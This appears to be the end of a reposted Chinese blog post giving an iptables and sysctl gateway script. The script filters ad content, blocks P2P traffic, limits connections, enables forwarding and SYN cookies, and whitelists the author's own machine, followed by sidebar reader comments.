iptables -I FORWARD -p tcp --sport 80 -m string --string "广告" -j DROP
#禁止ay2000.net,宽频影院,色情,广告网页连接 !但中文 不是很理想
iptables -A FORWARD -m ipp2p --edk --kazaa --bit -j DROP
iptables -A FORWARD -p tcp -m ipp2p --ares -j DROP
iptables -A FORWARD -p udp -m ipp2p --kazaa -j DROP
#禁止BT连接
iptables -A FORWARD -p tcp --syn --dport 80 -m connlimit --connlimit-above 15 --connlimit-mask 24
#######################################################################
sysctl -w net.ipv4.ip_forward=1 &>/dev/null
#打开转发
#######################################################################
sysctl -w net.ipv4.tcp_syncookies=1 &>/dev/null
#打开 syncookie (轻量级预防 DOS 攻击)
sysctl -w net.ipv4.netfilter.ip_conntrack_tcp_timeout_established=3800 &>/dev/null
#设置默认 TCP 连接痴呆时长为 3800 秒(此选项可以大大降低连接数)
sysctl -w net.ipv4.ip_conntrack_max=300000 &>/dev/null
#设置支持最大连接树为 30W(这个根据你的内存和 iptables 版本来,每个 connection 需要 300 多个字节)
#######################################################################
iptables -I INPUT -s 192.168.0.50 -j ACCEPT
iptables -I FORWARD -s 192.168.0.50 -j ACCEPT
#192.168.0.50是我的机子,全部放行!
############################完#########################################

转自:http://www.opsers.org/linux-home/security/iptables-related-concepts-and-processes-the-packet-figure.html

分类
最新文章
最近回复
  • 没穿底裤: 最近发现的新版本可以装在LINUX了。但是API有点变化
  • 没穿底裤: 暂时好像没有看到这个功能.
  • 没穿底裤: 这个只是一个分析,并不是使用方法哟
  • 没穿底裤: 抱歉,很久没有打理了。会不会你使用的是12版本。目前还没有遇到过这种情况
  • bao song: http://0cx.cc/php_decode_shell.jspx 这个怎么用,代码提示...